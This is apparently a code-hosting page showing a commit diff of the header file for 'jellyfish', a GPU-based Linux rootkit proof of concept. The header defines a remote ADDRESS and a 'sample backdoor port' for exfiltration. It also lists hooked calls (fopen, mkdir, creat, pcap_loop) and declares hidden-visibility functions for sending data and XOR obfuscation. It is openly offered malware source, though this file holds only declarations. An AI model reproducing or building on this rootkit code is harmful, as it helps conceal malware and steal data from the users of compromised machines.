Projects STRLCPY jellyfish Commits b3c9f255
🤬
  • ■ ■ ■ ■ ■
    rootkit/kit.h
    1  -/*
    2  -
    3  -Copyright (C) 2015 Team Jellyfish
    4  -
    5  -This program is free software; you can redistribute it and/or
    6  -modify it under the terms of the GNU General Public License
    7  -as published by the Free Software Foundation; either version 2
    8  -of the License, or (at your option) any later version.
    9  -
    10  -This program is distributed in the hope that it will be useful,
    11  -but WITHOUT ANY WARRANTY; without even the implied warranty of
    12  -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    13  -GNU General Public License for more details.
    14  -
    15  -*/
    16  - 
     1 +#define _GNU_SOURCE
    17 2  #ifndef __KIT_H__
    18 3  #define __KIT_H__
    19 4   
     5 +#include <CL/cl.h>
     6 + 
    20 7  #define __JELLYFISH__ "kit.cl"
    21 8  #define __JELLYXOR__ "xor.cl"
    22  -#define VRAM_LIMIT 1497965 /* 10mb divided by 7 gpu kernels */
    23 9   
    24  -/* Change this */
    25  -#define ADDRESS "1.1.1.1"
    26  -/* ---------- */
    27  - 
     10 +#define VRAM_LIMIT 3495253 // 10mb divided by 3 gpu kernels
     11 +#define ADDRESS "1.1.1.1" // change this
    28 12  #define PORT 8771 // sample backdoor port for PoC
    29 13   
    30 14  // gpu functions
    31 15  #define log_fopen "log_fopen"
    32 16  #define log_mkdir "log_mkdir"
    33  -#define log_lstat "log_lstat"
    34  -#define log_lstat64 "log_lstat64"
    35 17  #define log_creat "log_creat"
    36  -#define log_execve "log_execve"
    37  -#define log_open "log_open"
     18 +#define jelly_xor "jelly_xor"
    38 19   
    39 20  // syscalls
    40 21  #define SYS_FOPEN 0
    41 22  #define SYS_MKDIR 1
    42  -#define SYS_LSTAT 2
    43  -#define SYS_LSTAT64 3
    44  -#define SYS_CREAT 4
    45  -#define SYS_EXECVE 5
    46  -#define SYS_OPEN 6
    47  -#define SYS_PCAP_LOOP 7
    48  -#define SYSCALL_SIZE 8
     23 +#define SYS_CREAT 2
     24 +#define SYS_PCAP_LOOP 3
     25 +#define SYSCALL_SIZE 4
    49 26   
    50  -typedef struct sys_calls{
     27 +typedef struct syscall_struct{
    51 28   void *(*syscall_func)();
    52 29  } s_calls;
    53 30   
    54  -s_calls syscall[SYSCALL_SIZE];
    55  - 
    56  -const char *syscall_table[SYSCALL_SIZE];
    57  -syscall_table[0] = "fopen";
    58  -syscall_table[1] = "mkdir";
    59  -syscall_table[2] = "lstat";
    60  -syscall_table[3] = "lstat64";
    61  -syscall_table[4] = "creat";
    62  -syscall_table[5] = "execve";
    63  -syscall_table[6] = "open";
    64  -syscall_table[7] = "pcap_loop";
     31 +s_calls syscalls[SYSCALL_SIZE];
    65 32   
    66 33  // hidden gpu functions
    67 34  cl_device_id create_device(void) __attribute__((visibility("hidden")));
    skipped 4 lines
    72 39  void jelly_init(void) __attribute__((visibility("hidden")));
    73 40  static void limit_buf(char *buffer) __attribute__((visibility("hidden")));
    74 41  static void send_data(char *buffer) __attribute__((visibility("hidden")));
    75  -static char *xor_data(char *buf) __attribute__((visibility("hidden")));
    76 42   
    77 43  #endif
    78 44   
Please wait...
Page is in error, reload to recover